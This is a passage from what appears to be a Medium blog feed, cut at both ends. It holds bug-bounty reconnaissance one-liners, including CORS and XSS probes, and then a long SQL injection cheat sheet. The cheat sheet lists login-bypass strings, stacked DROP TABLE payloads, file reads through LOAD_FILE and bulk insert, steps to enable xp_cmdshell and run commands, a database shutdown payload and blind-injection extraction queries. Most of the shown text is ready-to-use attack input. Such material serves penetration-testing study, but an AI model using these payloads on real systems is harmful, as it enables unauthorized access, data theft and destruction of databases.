| httprobe | xargs curl | tok | tr &#39;[:upper:]&#39; &#39;[:lower:]&#39; | sort -u | tee -a FILE.txt</pre><h3>Extracts Juicy Informations</h3><blockquote><em>@Prial Islam Khan</em></blockquote><pre>for sub in $(cat HOSTS.txt); do gron &quot;https://otx.alienvault.com/otxapi/indicator/hostname/url_list/$sub?limit=100&amp;page=1&quot; | grep &quot;\burl\b&quot; | gron --ungron | jq | egrep -wi &#39;url&#39; | awk &#39;{print $2}&#39; | sed &#39;s/&quot;//g&#39;| sort -u | tee -a OUT.txt  ;done</pre><h3>Find Subdomains TakeOver</h3><blockquote><em>@hahwul</em></blockquote><pre>subfinder -d HOST &gt;&gt; FILE; assetfinder --subs-only HOST &gt;&gt; FILE; amass enum -norecursive -noalts -d HOST &gt;&gt; FILE; subjack -w FILE -t 100 -timeout 30 -ssl -c $GOPATH/src/github.com/haccer/subjack/fingerprints.json -v 3 &gt;&gt; takeover ;</pre><h3>Dump Custom URLs from ParamSpider</h3><blockquote><em>@hahwul</em></blockquote><pre>cat HOSTS.txt | xargs -I % python3 paramspider.py -l high -o ./OUT/% -d %;</pre><h3>URLs Probing with cURL + Parallel</h3><blockquote><em>@akita_zen</em></blockquote><pre>cat HOSTS.txt | parallel -j50 -q curl -w &#39;Status:%{http_code}\t  Size:%{size_download}\t %{url_effective}\n&#39; -o /dev/null -sk</pre><h3>Dump In-scope Assets from chaos-bugbounty-list</h3><blockquote><em>@dwisiswant0</em></blockquote><pre>curl -sL <a href="https://github.com/projectdiscovery/public-bugbounty-programs/raw/master/chaos-bugbounty-list.json">https://github.com/projectdiscovery/public-bugbounty-programs/raw/master/chaos-bugbounty-list.json</a> | jq -r &#39;.programs[].domains | to_entries | .[].value&#39;</pre><h3>Dump In-scope Assets from bounty-targets-data</h3><blockquote><em>@dwisiswant0</em></blockquote><h4>HackerOne Programs</h4><pre>curl -sL <a href="https://github.com/arkadiyt/bounty-targets-data/blob/master/data/hackerone_data.json?raw=true">https://github.com/arkadiyt/bounty-targets-data/blob/master/data/hackerone_data.json?raw=true</a> | jq -r &#39;.[].targets.in_scope[] | [.asset_identifier, .asset_type] | @tsv&#39;</pre><h4>BugCrowd Programs</h4><pre>curl -sL <a href="https://github.com/arkadiyt/bounty-targets-data/raw/master/data/bugcrowd_data.json">https://github.com/arkadiyt/bounty-targets-data/raw/master/data/bugcrowd_data.json</a> | jq -r &#39;.[].targets.in_scope[] | [.target, .type] | @tsv&#39;</pre><h4>Intigriti Programs</h4><pre>curl -sL <a href="https://github.com/arkadiyt/bounty-targets-data/raw/master/data/intigriti_data.json">https://github.com/arkadiyt/bounty-targets-data/raw/master/data/intigriti_data.json</a> | jq -r &#39;.[].targets.in_scope[] | [.endpoint, .type] | @tsv&#39;</pre><h4>YesWeHack Programs</h4><pre>curl -sL <a href="https://github.com/arkadiyt/bounty-targets-data/raw/master/data/yeswehack_data.json">https://github.com/arkadiyt/bounty-targets-data/raw/master/data/yeswehack_data.json</a> | jq -r &#39;.[].targets.in_scope[] | [.target, .type] | @tsv&#39;</pre><h4>HackenProof Programs</h4><pre>curl -sL <a href="https://github.com/arkadiyt/bounty-targets-data/raw/master/data/hackenproof_data.json">https://github.com/arkadiyt/bounty-targets-data/raw/master/data/hackenproof_data.json</a> | jq -r &#39;.[].targets.in_scope[] | [.target, .type, .instruction] | @tsv&#39;</pre><h4>Federacy Programs</h4><pre>curl -sL <a href="https://github.com/arkadiyt/bounty-targets-data/raw/master/data/federacy_data.json">https://github.com/arkadiyt/bounty-targets-data/raw/master/data/federacy_data.json</a> | jq -r &#39;.[].targets.in_scope[] | [.target, .type] | @tsv&#39;</pre><h3>Dump URLs from sitemap.xml</h3><blockquote><em>@healthyoutlet</em></blockquote><pre>curl -s <a href="http://host/sitemap.xml">http://HOST/sitemap.xml</a> | xmllint --format - | grep -e &#39;loc&#39; | sed -r &#39;s|&lt;/?loc&gt;||g&#39;</pre><h3>Pure Bash Linkfinder</h3><blockquote><em>@ntrzz</em></blockquote><pre>curl -s $1 | grep -Eo &quot;(http|https)://[a-zA-Z0-9./?=_-]*&quot; | sort | uniq | grep &quot;.js&quot; &gt; FILE.txt; while IFS= read link; do python linkfinder.py -i &quot;$link&quot; -o cli; done &lt; FILE.txt | grep $2 | grep -v $3 | sort -n | uniq; rm -rf FILE.txt</pre><h3>Extract Endpoints from swagger.json</h3><blockquote><em>@zer0pwn</em></blockquote><pre>curl -s <a href="https://host/v2/swagger.json">https://HOST/v2/swagger.json</a> | jq &#39;.paths | keys[]&#39;</pre><h3>CORS Misconfiguration</h3><blockquote><em>@manas_hunter</em></blockquote><pre>site=&quot;URL&quot;; gau &quot;$site&quot; | while read url; do target=$(curl -sIH &quot;Origin: https://evil.com&quot; -X GET $url) | if grep &#39;https://evil.com&#39;; then [Potentional CORS Found] echo $url; else echo Nothing on &quot;$url&quot;; fi; done</pre><h3>Find Hidden Servers and/or Admin Panels</h3><blockquote><em>@rez0__</em></blockquote><pre>ffuf -c -u URL -H &quot;Host: FUZZ&quot; -w FILE.txt</pre><h3>Recon Using api.recon.dev</h3><blockquote><em>@z0idsec</em></blockquote><pre>curl -s -w &quot;\n%{http_code}&quot; <a href="https://api.recon.dev/search?domain=HOST">https://api.recon.dev/search?domain=HOST</a> | jg .[].domain</pre><h3>Find Live Host/Domain/Assets</h3><blockquote><em>@</em>YashGoti</blockquote><pre>subfinder -d HOST -silent | httpx -silent -follow-redirects -mc 200 | cut -d &#39;/&#39; -f3 | sort -u</pre><h3>XSS without gf</h3><blockquote><em>@HacktifyS</em></blockquote><pre>waybackurls HOST | grep &#39;=&#39; | qsreplace &#39;&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;&#39; | while read host do ; do curl -sk --path-as-is &quot;$host&quot; | grep -qs &quot;&lt;script&gt;alert(1)&lt;/script&gt;&quot; &amp;&amp; echo &quot;$host is vulnerable&quot;; done</pre><h3>Get Subdomains from IPs</h3><blockquote><em>@laughface809</em></blockquote><pre>python3 hosthunter.py HOSTS.txt &gt; OUT.txt</pre><h3>Gather Domains from Content-Security-Policy</h3><blockquote><em>@geeknik</em></blockquote><pre>curl -vs URL --stderr - | awk &#39;/^content-security-policy:/&#39; | grep -Eo &quot;[a-zA-Z0-9./?=_-]*&quot; |  sed -e &#39;/\./!d&#39; -e &#39;/[^A-Za-z0-9._-]/d&#39; -e &#39;s/^\.//&#39; | sort -u</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fa386b756e16" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Multiple ways to find sql and cheatsheet]]></title>
            <link>https://thenurhabib.medium.com/multiple-ways-to-find-sql-and-cheatsheet-45f17fed7b59?source=rss-e00711f60772------2</link>
            <guid isPermaLink="false">https://medium.com/p/45f17fed7b59</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[sqli]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Md. Nur Habib]]></dc:creator>
            <pubDate>Wed, 23 Mar 2022 15:53:58 GMT</pubDate>
            <atom:updated>2022-03-23T15:56:55.134Z</atom:updated>
            <content:encoded><![CDATA[<h3>Multiple ways to find sql injection and cheatsheet</h3><p>Comments out rest of the query. <br>Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.</p><ul><li>-- (SM) <br>DROP sampletable;--</li><li># (M) <br>DROP sampletable;#</li></ul><p>Line Comments Sample SQL Injection Attacks</p><ul><li>Username: admin&#39;--</li><li>SELECT * FROM members WHERE username = &#39;admin&#39;--&#39; AND password = &#39;password&#39; <br>This is going to log you as admin user, because rest of the SQL query will be ignored.</li></ul><h4>Inline Comments</h4><p>Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.</p><ul><li>/*Comment Here*/ (SM)</li><li>DROP/*comment*/sampletable</li><li>DR/**/OP/*bypass blacklisting*/sampletable</li><li>SELECT/*avoid-spaces*/password/**/FROM/**/Members</li><li>/*! MYSQL Special SQL */ (M) <br>This is a special comment syntax for MySQL. It&#39;s perfect for detecting MySQL version. If you put a code into this comments it&#39;s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.</li><li>SELECT /*!32302 1/0, */ 1 FROM tablename</li></ul><p>Classical Inline Comment SQL Injection Attack Samples</p><ul><li>ID: 10; DROP TABLE members /* <br>Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --</li><li>SELECT /*!32302 1/0, */ 1 FROM tablename <br>Will throw an divison by 0 error if MySQL version is higher than3.23.02</li></ul><p>MySQL Version Detection Sample Attacks</p><ul><li>ID: /*!32302 10*/</li><li>ID: 10 <br>You will get the same response if MySQL version is higher than 3.23.02</li><li>SELECT /*!32302 1/0, */ 1 FROM tablename <br>Will throw a division by 0 error if MySQL version is higher than3.23.02</li></ul><h3>Stacking Queries</h3><p>Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.</p><ul><li>; (S) <br>SELECT * FROM members; DROP members--</li></ul><p>Ends a query and starts a new one.</p><h4>Language / Database Stacked Query Support Table</h4><p>green: supported, dark gray: not supported, light gray: unknown</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/0*-H07aHjCSvDFMiYV.jpg" /></figure><p>About MySQL and PHP; <br>To clarify some issues; <br>PHP — MySQL doesn’t support stacked queries, Java doesn’t support stacked queries (<em>I’m sure for ORACLE, not quite sure about other databases</em>). <em>Normally MySQL supports stacked queries but because of database layer in most of the configurations it’s not possible to execute a second query in PHP-MySQL applications or maybe MySQL client supports this, not quite sure. Can someone clarify?</em></p><p>Stacked SQL Injection Attack Samples</p><ul><li>ID: 10;DROP members --</li><li>SELECT * FROM products WHERE id = 10; DROP members--</li></ul><p>This will run <em>DROP members</em> SQL sentence after normal SQL Query.</p><h3>If Statements</h3><p>Get response based on an if statement. This is one of the key points of Blind SQL Injection, also can be very useful to test simple stuff blindly and accurately.</p><h4>MySQL If Statement</h4><ul><li>IF(<em>condition</em>,<em>true-part</em>,<em>false-part</em>) (M) <br>SELECT IF(1=1,&#39;true&#39;,&#39;false&#39;)</li></ul><h4>SQL Server If Statement</h4><ul><li>IF <em>condition</em> <em>true-part</em> ELSE <em>false-part</em> (S) <br>IF (1=1) SELECT &#39;true&#39; ELSE SELECT &#39;false&#39;</li></ul><h4>Oracle If Statement</h4><ul><li>BEGIN<br>IF <em>condition</em> THEN <em>true-part</em>; ELSE <em>false-part</em>; END IF; END; (O) <br>IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;</li></ul><h4>PostgreSQL If Statement</h4><ul><li>SELECT CASE WHEN <em>condition</em> THEN <em>true-part</em> ELSE <em>false-part</em> END; (P) <br>SELECT CASE WEHEN (1=1) THEN &#39;A&#39; ELSE &#39;B&#39;END;</li></ul><p>If Statement SQL Injection Attack Samples</p><p>if ((select user) = &#39;sa&#39; OR (select user) = &#39;dbo&#39;) select 1 else select 1/0 (S) <br>This will throw an divide by zero error if current logged user is not &quot;sa&quot; or &quot;dbo&quot;.</p><h3>Using Integers</h3><p>Very useful for bypassing, magic_quotes() and similar filters, or even WAFs.</p><ul><li>0x<em>HEXNUMBER</em> (SM) <br>You can write hex like these;</li><li>SELECT CHAR(0x66) (S) <br>SELECT 0x5045 (<em>this is not an integer it will be a string from Hex</em>) (M) <br>SELECT 0x50 + 0x45 (<em>this is integer now!</em>) (M)</li></ul><h3>String Operations</h3><p>String related operations. These can be quite useful to build up injections which are not using any quotes, bypass any other black listing or determine back end database.</p><h4>String Concatenation</h4><ul><li>+ (S) <br>SELECT login + &#39;-&#39; + password FROM members</li><li>|| (*MO) <br>SELECT login || &#39;-&#39; || password FROM members</li></ul><p>*About MySQL “||”; <br>If MySQL is running in ANSI mode it’s going to work but otherwise MySQL accept it as `logical operator` it’ll return 0. A better way to do it is using CONCAT()function in MySQL.</p><ul><li>CONCAT(str1, str2, str3, ...) (M) <br>Concatenate supplied strings. <br>SELECT CONCAT(login, password) FROM members</li></ul><h3>Strings without Quotes</h3><p>These are some direct ways to using strings but it’s always possible to use CHAR()(MS) and CONCAT()(M) to generate string without quotes.</p><ul><li>0x457578 (M) - Hex Representation of string <br>SELECT 0x457578 <br>This will be selected as string in MySQL.</li><li>In MySQL easy way to generate hex representations of strings use this; <br>SELECT CONCAT(&#39;0x&#39;,HEX(&#39;c:\\boot.ini&#39;))</li><li>Using CONCAT() in MySQL <br>SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M) <br>This will return &#39;KLM&#39;.</li><li>SELECT CHAR(75)+CHAR(76)+CHAR(77) (S) <br>This will return &#39;KLM&#39;.</li><li>SELECT CHR(75)||CHR(76)||CHR(77) (O) <br>This will return &#39;KLM&#39;.</li><li>SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P) <br>This will return &#39;KLM&#39;.</li></ul><h4>Hex based SQL Injection Samples</h4><ul><li>SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M) <br>This will show the content of c:\boot.ini</li></ul><h3>String Modification &amp; Related</h3><ul><li>ASCII() (SMP) <br>Returns ASCII character value of leftmost character. A must have function for Blind SQL Injections.</li><li>SELECT ASCII(&#39;a&#39;)</li><li>CHAR() (SM) <br>Convert an integer of ASCII.</li><li>SELECT CHAR(64)</li></ul><h3>Union Injections</h3><p>With union you do SQL queries cross-table. Basically you can poison query to return records from another table.</p><p>SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members <br>This will combine results from both news table and members table and return all of them.</p><p>Another Example: <br>&#39; UNION SELECT 1, &#39;anotheruser&#39;, &#39;doesnt matter&#39;, 1--</p><h3>UNION — Fixing Language Issues</h3><p>While exploiting Union injections sometimes you get errors because of different language settings (<em>table settings, field settings, combined table / db settings etc.</em>) these functions are quite useful to fix this problem. It’s rare but if you dealing with <em>Japanese, Russian, Turkish</em> etc. applications then you will see it.</p><ul><li>SQL Server (S) <br>Use field COLLATE SQL_Latin1_General_Cp1254_CS_AS or some other valid one - <em>check out SQL Server documentation</em>.</li><li>SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members</li><li>MySQL (M) <br>Hex() for every possible issue</li></ul><h3>Bypassing Login Screens (SMO+)</h3><p><em>SQL Injection 101</em>, Login tricks</p><ul><li>admin&#39; --</li><li>admin&#39; #</li><li>admin&#39;/*</li><li>&#39; or 1=1--</li><li>&#39; or 1=1#</li><li>&#39; or 1=1/*</li><li>&#39;) or &#39;1&#39;=&#39;1--</li><li>&#39;) or (&#39;1&#39;=&#39;1--</li><li>….</li><li>Login as different user (SM*) <br>&#39; UNION SELECT 1, &#39;anotheruser&#39;, &#39;doesnt matter&#39;, 1--</li></ul><p><em>*Old versions of MySQL doesn’t support union queries</em></p><h3>Bypassing second MD5 hash check login screens</h3><p>If application is first getting the record by username and then compare returned MD5 with supplied password’s MD5 then you need to some extra tricks to fool application to bypass authentication. You can union results with a known password and MD5 hash of supplied password. In this case application will compare your password and your supplied MD5 hash instead of MD5 from database.</p><h4>Bypassing MD5 Hash Check Example (MSP)</h4><p>Username :admin&#39; AND 1=0 UNION ALL SELECT &#39;admin&#39;, &#39;81dc9bdb52d04dc20036dbd8313ed055&#39;<br>Password : 1234</p><p>81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)</p><h3>Error Based — Find Columns Names</h3><h4>Finding Column Names with HAVING BY — Error Based (S)</h4><p><em>In the same order,</em></p><ul><li>‘ HAVING 1=1 --</li><li>&#39; GROUP BY table.columnfromerror1 HAVING 1=1 --</li><li>&#39; GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --</li><li>&#39; GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- <em>and so on</em></li><li>If you are not getting any more error then it’s done.</li></ul><h4>Finding how many columns in SELECT query by ORDER BY (MSO+)</h4><p>Finding column number by ORDER BY can speed up the UNION SQL Injection process.</p><ul><li>ORDER BY 1--</li><li>ORDER BY 2--</li><li>ORDER BY N-- <em>so on</em></li><li>Keep going until get an error. Error means you found the number of selected columns.</li></ul><h3>Data types, UNION, etc.</h3><h4>Hints,</h4><ul><li>Always use UNION with ALL because of image similar non-distinct field types. By default union tries to get records with distinct.</li><li>To get rid of unrequired records from left table use -1 or any not exist record search in the beginning of query (<em>if injection is in WHERE</em>). This can be critical if you are only getting one result at a time.</li><li>Use NULL in UNION injections for most data type instead of trying to guess string, date, integer etc.</li><li>Be careful in Blind situtaions may you can understand error is coming from DB or application itself. Because languages like ASP.NET generally throws errors while trying to use NULL values (<em>because normally developers are not expecting to see NULL in a username field</em>)</li></ul><h4>Finding Column Type</h4><ul><li>&#39; union select sum(columntofind) from users-- (S) <br>Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39; <br>[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.</li><li><em>If you are not getting an error it means </em>column is numeric.</li><li>Also you can use CAST() or CONVERT()</li><li>SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--</li><li>11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- <br>No Error - Syntax is right. MS SQL Server Used. Proceeding.</li><li>11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- <br>No Error – First column is an integer.</li><li>11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 -- <br>Error! – Second column is not an integer.</li><li>11223344) UNION SELECT 1,&#39;2&#39;,NULL,NULL WHERE 1=2 –- <br>No Error – Second column is a string.</li><li>11223344) UNION SELECT 1,&#39;2&#39;,3,NULL WHERE 1=2 –- <br>Error! – Third column is not an integer. ...</li><li>Microsoft OLE DB Provider for SQL Server error &#39;80040e07&#39; <br>Explicit conversion from data type int to image is not allowed.</li></ul><p>You’ll get convert() errors before union target errors ! So start with convert() then union</p><h3>Simple Insert (MSO+)</h3><p>&#39;; insert into users values( 1, &#39;hax0r&#39;, &#39;coolpass&#39;, 9 )/*</p><h3>Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes</h3><p>@@version (MS) <br>Version of database and more details for SQL Server. It’s a constant. You can just select it like any other column, you don’t need to supply table name. Also, you can use insert, update statements or in functions.</p><p>INSERT INTO members(id, user, pass) VALUES(1, &#39;&#39;+SUBSTRING(@@version,1,10) ,10)</p><h4>Bulk Insert (S)</h4><p>Insert a file content to a table. If you don’t know internal path of web application you can read IIS (<em>IIS 6 only</em>) metabase file(<em>%systemroot%\system32\inetsrv\MetaBase.xml</em>) and then search in it to identify application path.</p><ol><li>Create table foo( line varchar(8000) )</li><li>bulk insert foo from ‘c:\inetpub\wwwroot\login.asp’</li><li><em>Drop temp table, and repeat for another file.</em></li></ol><h4>BCP (S)</h4><p>Write text file. Login Credentials are required to use this function. <br>bcp &quot;SELECT * FROM test..foo&quot; queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar</p><h4>VBS, WSH in SQL Server (S)</h4><p>You can use VBS, WSH scripting in SQL Server because of ActiveX support.</p><p>declare @o int <br>exec sp_oacreate &#39;wscript.shell&#39;, @o out <br>exec sp_oamethod @o, &#39;run&#39;, NULL, &#39;notepad.exe&#39; <br><em>Username:</em> &#39;; declare @o int exec sp_oacreate &#39;wscript.shell&#39;, @o out exec sp_oamethod @o, &#39;run&#39;, NULL, &#39;notepad.exe&#39; --</p><h4>Executing system commands, xp_cmdshell (S)</h4><p>Well known trick, By default it’s disabled in <em>SQL Server 2005. </em>You need to have admin access.</p><p>EXEC master.dbo.xp_cmdshell &#39;cmd.exe dir c:&#39;</p><p>Simple ping check (<em>configure your firewall or sniffer to identify request before launch it</em>),</p><p>EXEC master.dbo.xp_cmdshell &#39;ping &#39;</p><p>You can not read results directly from error or union or something else.</p><h4>Some Special Tables in SQL Server (S)</h4><ul><li>Error Messages <br>master..sysmessages</li><li>Linked Servers <br>master..sysservers</li><li>Password (<em>2000 and 20005 both can be crackable, they use very similar hashing algorithm </em>) <br>SQL Server 2000: masters..sysxlogins <br>SQL Server 2005 : sys.sql_logins</li></ul><h4>More Stored Procedures for SQL Server (S)</h4><ol><li>Cmd Execute (xp_cmdshell) <br>exec master..xp_cmdshell ‘dir’</li><li>Registry Stuff (xp_regread)</li><li>xp_regaddmultistring</li><li>xp_regdeletekey</li><li>xp_regdeletevalue</li><li>xp_regenumkeys</li><li>xp_regenumvalues</li><li>xp_regread</li><li>xp_regremovemultistring</li><li>xp_regwrite <br>exec xp_regread HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\lanmanserver\parameters’, ‘nullsessionshares’ <br>exec xp_regenumvalues HKEY_LOCAL_MACHINE, ‘SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities’</li><li>Managing Services (xp_servicecontrol)</li><li>Medias (xp_availablemedia)</li><li>ODBC Resources (xp_enumdsn)</li><li>Login mode (xp_loginconfig)</li><li>Creating Cab Files (xp_makecab)</li><li>Domain Enumeration (xp_ntsec_enumdomains)</li><li>Process Killing (<em>need PID</em>) (xp_terminate_process)</li><li>Add new procedure (<em>virtually you can execute whatever you want</em>) <br>sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ <br>exec xp_webserver</li><li>Write text file to a UNC or an internal path (sp_makewebtask)</li></ol><h4>MSSQL Bulk Notes</h4><p>SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/</p><p>DECLARE @result int; EXEC @result = xp_cmdshell &#39;dir *.exe&#39;;IF (@result = 0) SELECT 0 ELSE SELECT 1/0</p><p>HOST_NAME() <br>IS_MEMBER (Transact-SQL) <br>IS_SRVROLEMEMBER (Transact-SQL) <br>OPENDATASOURCE (Transact-SQL)</p><pre>INSERT tbl EXEC master..xp_cmdshell OSQL /Q&quot;DBCC SHOWCONTIG&quot;</pre><p>OPENROWSET (Transact-SQL) — <a href="http://msdn2.microsoft.com/en-us/library/ms190312.aspx">http://msdn2.microsoft.com/en-us/library/ms190312.aspx</a></p><p>You can not use sub selects in SQL Server Insert queries.</p><h4>SQL Injection in LIMIT (M) or ORDER (MSO)</h4><p>SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,&#39;x&#39;/*,10 ;</p><p>If injection is in second <em>limit</em> you can comment it out or use in your union injection</p><h4>Shutdown SQL Server (S)</h4><p>When you’re really pissed off, &#39;;shutdown --</p><h3>Enabling xp_cmdshell in SQL Server 2005</h3><p>By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.</p><p>EXEC sp_configure &#39;show advanced options&#39;,1 <br>RECONFIGURE</p><p>EXEC sp_configure &#39;xp_cmdshell&#39;,1 <br>RECONFIGURE</p><h3>Finding Database Structure in SQL Server (S)</h3><h4>Getting User defined Tables</h4><p>SELECT name FROM sysobjects WHERE xtype = &#39;U&#39;</p><h4>Getting Column Names</h4><p>SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = &#39;tablenameforcolumnnames&#39;)</p><h3>Moving records (S)</h3><ul><li>Modify WHERE and use NOT IN or NOT EXIST, <br>... WHERE users NOT IN (&#39;First User&#39;, &#39;Second User&#39;) <br>SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members) <em>-- very good one</em></li><li>Using Dirty Tricks <br>SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id&lt;=o.id) AS x, name from sysobjects o) as p where p.x=3) as int</li><li>Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype=&#39;U&#39; and i.id&lt;=o.id) AS x, name from sysobjects o WHERE o.xtype = &#39;U&#39;) as p where p.x=21</li></ul><h3>Fast way to extract data from Error Based SQL Injections in SQL Server (S)</h3><p>&#39;;BEGIN DECLARE @rt varchar(8000) SET @rd=&#39;:&#39; SELECT @rd=@rd+&#39; &#39;+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = &#39;MEMBERS&#39;) AND name&gt;@rd SELECT @rd AS rd into TMP_SYS_TMP end;--</p><p>Detailed Article: <a href="http://ferruh.mavituna.com/fast-way-to-extract-data-from-error-based-sql-injections-oku/">Fast way to extract data from Error Based SQL Injections</a></p><h3>Finding Database Structure in MySQL (M)</h3><h4>Getting User defined Tables</h4><p>SELECT table_name FROM information_schema.tables WHERE table_schema = &#39;databasename&#39;</p><h4>Getting Column Names</h4><p>SELECT table_name, column_name FROM information_schema.columns WHERE table_name = &#39;tablename&#39;</p><h3>Finding Database Structure in Oracle (O)</h3><h4>Getting User defined Tables</h4><p>SELECT * FROM all_tables WHERE OWNER = &#39;DATABASE_NAME&#39;</p><h4>Getting Column Names</h4><p>SELECT * FROM all_col_comments WHERE TABLE_NAME = &#39;TABLE&#39;</p><h3>Blind SQL Injections</h3><h3>About Blind SQL Injections</h3><p>In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.</p><p>Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code <br>Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common, though.</p><p>In normal blinds you can use if statements or abuse WHERE query in injection (<em>generally easier</em>), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAITFOR DELAY ‘0:0:10’ in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.</p><h4>Real and a bit Complex Blind SQL Injection Attack Sample</h4><p>This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.</p><p><em>TRUE and FALSE flags mark queries returned true or false.</em></p><p>TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&gt;78--</p><p>FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&gt;103--</p><p>TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) <br>FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&gt;89--</p><p>TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) <br>FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&gt;83--</p><p>TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0) <br>FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)&gt;80--</p><p>FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)</p><p>Since both of the last 2 queries failed we clearly know table name’s first char’s ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well-known way is reading data bit by bit. Both can be effective in different conditions.</p><h3>Making Databases Wait / Sleep For Blind SQL Injection Attacks</h3><p>First of all use this if it’s really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20–30 seconds. database API connection or script can be timeout.</p><h4>WAITFOR DELAY ‘time’ (S)</h4><p>This is just like sleep, wait for specified time. CPU safe way to make database wait.</p><p>WAITFOR DELAY &#39;0:0:10&#39;--</p><p>Also, you can use fractions like this,</p><p>WAITFOR DELAY &#39;0:0:0.51&#39;</p><h4>Real World Samples</h4><ul><li>Are we ‘sa’ ? <br>if (select user) = &#39;sa&#39; waitfor delay &#39;0:0:10&#39;</li><li>ProductID = 1;waitfor delay &#39;0:0:10&#39;--</li><li>ProductID =1);waitfor delay 